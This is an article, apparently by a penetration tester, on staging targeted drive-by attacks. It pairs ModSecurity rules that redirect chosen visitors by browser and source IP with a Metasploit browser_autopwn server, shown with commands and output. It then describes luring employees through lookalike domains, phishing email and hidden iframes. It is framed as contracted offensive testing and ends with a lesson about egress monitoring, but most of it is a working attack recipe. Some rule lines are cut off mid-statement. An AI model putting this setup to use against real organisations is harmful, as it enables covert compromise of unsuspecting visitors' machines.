| Improvised Cyber Exploitation Devices |
| Written by Jesus Oquendo |
|
Not too many security professionals want to write about offensive security. For whatever reasons they choose, I see many shy away from writing about attacks. When I do read articles, they are usually tailored for entry level "here run this cool outdated exploit against an unpatched machine! See, now you're hacking!" However, there are some seriously cool pros out there who I enjoy reading and learning from progressively. Rather than publicly posts lists and potentially corrupt those list, all I will say is: "If only you knew who I knew" while winking. <VirtualHost 10.20.30.20 10.10.10.20>
ServerAdmin myself at me.com
User apache
Group apache
DocumentRoot /mnt/2TB/websites/imaginarycompany.com
ScriptAlias /cgi-bin /jail/local/apache/cgi-bin
UserDir public_html
ServerName www.imaginarycompany.com
ErrorDocument 404 /fail.html
ErrorDocument 403 http://www.imaginarycompany.com/fail.html
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
ServerAlias imaginarycompany.com
CustomLog /mnt/2TB/logs/access_log combined
ErrorLog /mnt/2TB/logs/error_log
SSLEngine on
SSLCertificateFile /jail/local/apache/conf/imgco.crt
SSLCertificateKeyFile /jail/local/apache/conf/imgco.key
<IfModule mod_security.c>
# My specific weaponized rules will go here
</IfModule>
<Directory /mnt/2TB/public_html/>
Options All ExecCGI Includes Indexes FollowSymLinks
AllowOverride AuthConfig FileInfo All
Allow from all
</Directory>
</VirtualHost></code>
I need to make sure this configuration works so I will open some browsers and view this from at least 3 geographically different locations outside of my network. After I confirm the website is up and running, I move along to creating a separate weapon: a server running metasploit in the background located outside of my network. Because cloud computing and VPS' are cheap, I can host this piece anywhere in the world without direct connection back to me. This helps in the event I have to deal with an oddball security engineer who would try to stop me from performing my job - which as the SOW states: "Get in where ya fit in." My core set up is done and it is time to put ModSecurity to use. SecFilterSelective REQUEST_URI ".*;EXEC(@S)*" redirect:http://www.infiltrated.net/fail.html You can check out the output of these rules by visiting say: http://www.infiltrated.net/cmd=?cmd SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" redirect:http://windowsupdate.microsoft.com/ Precision Targeting CNA and CNE if you ask me. I can also chain specifics for example: SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" chain In this instance, anyone using older versions of Internet Explorer coming FROM 10.100.200.* would be redirected while anyone else would pass right along. Did the "a-ha" hit you yet? Because I control who sees what when they visit my site, the potential to create a specific attack is enormous. I can create custom payloads for specific operating systems, browsers, networks and so on. I can also execute commands directly from ModSecurity, for example: SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" chain Which means I can fire off precision attacks not only from my ModSecurity install, but I can create customized "exploit cocktails" however, executing directly from this server is a red-flag. Besides, that is what the metasploit server is for. So we have established that I can pretty much do whatever I would like using ModSecurity. I can script different rules for different times of the day, different exploits for different hosts inside of a network and the list goes on. On the metasploit server: =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 691 exploits - 359 auxiliary - 39 post
+ -- --=[ 222 payloads - 27 encoders - 8 nops
=[ svn r12732 updated today (2011.05.26)
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 172.17.18.19
LHOST => 172.17.18.19
msf auxiliary(browser_autopwn) > set SRVPORT 8081
SRVPORT => 8081
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > run
+ -- --=[ SANITIZED OUTPUT
[*] --- Done, found 19 exploit modules
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://172.17.18.19:8081/
[*] Server started.
msf auxiliary(browser_autopwn) >
Mind you, the rest of the world would not be affected if they accidentally stumbled upon my fictitious site as ModSecurity is acting as my semi-active radar homing (SARH) [5] device, in this case, a semi-active cyber homing (SACH). Now its a matter of getting someone in that company to visit me. For this I could use a variety of social engineering attacks. I could use sites like LinkedIn, Mantra, Facebook to carve out potential partners, friends, vendors and so on. Create a mirror of that site, register something similar to what I discover, shoot off an e-mail and I'm done.
Game over. The client's security failed from the inside out. Although they may have in place nifty firewalls, IDS systems, IPS systems, etc., the fact is, the client's security approach is flawed. You can block in as much as you want but if you're not proactive on what is leaving your network, you will continue to fail. Remember, because of the beauty of the "interwebs," I can also program redirects that would can triggered inside of iFrame loaded pages, loaded PDFs, zero height and width flash files and so on, all the while my attacks would be completely transparent to the normal surfer maybe even above average computer user.
|